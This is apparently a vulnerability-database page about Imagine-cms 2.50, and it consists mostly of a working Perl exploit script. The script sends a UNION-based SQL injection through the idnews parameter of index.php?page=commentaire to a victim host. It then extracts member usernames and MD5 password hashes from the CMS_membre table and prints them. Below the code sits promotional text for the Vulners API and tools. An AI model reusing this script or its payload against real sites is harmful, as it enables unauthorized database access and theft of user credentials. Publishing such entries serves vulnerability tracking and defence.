Lucene search
K

Imagine-cms <= 2.50 SQL Injection Exploit Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Imagine-cms 2.50 SQL Injection Vulnerabilit

Code

                                                #!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version :  2.50
# 
# Bug Type : SQL Injection
#
# Found by : Metropolis 
# 
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app : 
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&id_cat=2
# 
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print &#34;\n- Author: Metropolis\r\n&#34;;
  print &#34;- Imagine-cms &#60;= 2.50 Remote SQL Injection Exploit\r\n&#34;;
}
sub usage()
{
  header();
  print &#34;- Usage: $0 &#60;host&#62; &#60;path&#62;\r\n&#34;;
  print &#34;- &#60;host&#62; -&#62; Victim&#39;s host ex: www.victim.com\r\n&#34;;
  print &#34;- &#60;path&#62; -&#62; ex: /\r\n&#34;;
  exit();
}
sub exploit ()
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = &#34;http://&#34;.$spserver;
  $spdir    = $ARGV[1];
  $spport   = &#34;80&#34;;
  $sptar    = &#34;index.php?page=commentaire&idnews=&#34;;
  $spxp     = &#34;-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--&#34;;
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print &#34;- Trying to connect: $spserver\r\n&#34;;
  $sp = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$spserver&#34;, PeerPort =&#62; &#34;$spport&#34;) || die &#34;- Connection failed...\n&#34;;
  print $sp &#34;GET $spreq HTTP/1.1\n&#34;;
  print $sp &#34;Accept: */*\n&#34;;
  print $sp &#34;Referer: $sphost\n&#34;;
  print $sp &#34;Accept-Language: tr\n&#34;;
  print $sp &#34;User-Agent: NukeZilla\n&#34;;
  print $sp &#34;Cache-Control: no-cache\n&#34;;
  print $sp &#34;Host: $spserver\n&#34;;
  print $sp &#34;Connection: close\n\n&#34;;
  print &#34;- Connected...\r\n&#34;;
  while ($answer = &#60;$sp&#62;) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print &#34;- Exploit succeed!\r\n&#34;;
      print &#34;- Username: $1\r\n&#34;;
      print &#34;- MD5 HASH of PASSWORD: $2\r\n&#34;;
      exit();
    }
  }
  #Exploit failed...
  print &#34;- Exploit failed\n&#34;
}
 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11